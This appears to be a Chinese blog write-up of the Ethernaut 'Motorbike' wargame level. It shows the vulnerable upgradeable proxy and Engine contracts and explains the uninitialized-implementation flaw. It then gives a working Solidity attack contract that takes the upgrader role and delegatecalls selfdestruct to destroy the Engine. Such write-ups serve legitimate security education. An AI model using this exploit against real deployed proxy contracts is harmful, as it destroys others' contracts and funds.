抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Motorbike

1. 题目要求

  • 1.1 Ethernaut 的摩托车采用全新的可升级发动机设计。

    你能启动selfdestruct它的引擎并使摩托车无法使用吗?

    可能有帮助的事情:

  • 1.2 题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

2. 分析

2.1 本题和上题类似,都是代理模式的题。简单分析可知,EngineMotorbike的实现类,Motorbike是代理合约,两者都有 bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;变量,其目的是为了避免插槽冲突的问题,而代理合约中采用了内联汇编的形式,设置并读取slot0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc插槽的值。

2.2 因为代理合约中采用的是delegatecall的方式进行,所以在代理合约中调用逻辑合约的初始化函数,函数运行的结果作用呢在代理合约中,即逻辑合约中的变量仍然保持着未初始化的状态。

2.3 这样我们就可以自己调用初始化函数,自定义slot0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc插槽的值。又因为_upgradeToAndCall()函数,采用了delegatecall的形式进行函数调用,其运行结果作用于自身,也就意味着,如果函数中有selfdestruct自毁函数的操作,其逻辑合约便会被自毁。

2.4 攻击思路,部署一个具有自毁功能的合约,调用upgradeToAndCall函数设置新的实现合约,并执行自毁函数。

3. 解题

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Hack {

Engine engine;
Helper helper;

constructor(address _engine) public {
engine = Engine(_engine);
helper = new Helper();
}

function attack() public {
engine.initialize();
engine.upgradeToAndCall(
address(helper),
abi.encodeWithSelector(Helper.kill.selector, msg.sender)
);
}
}

contract Helper {
function kill(address payable to) public payable {
selfdestruct(to);
}
}

合约报废

image-20230818155726849

评论



政策 · 统计 | 本站使用 Volantis 主题设计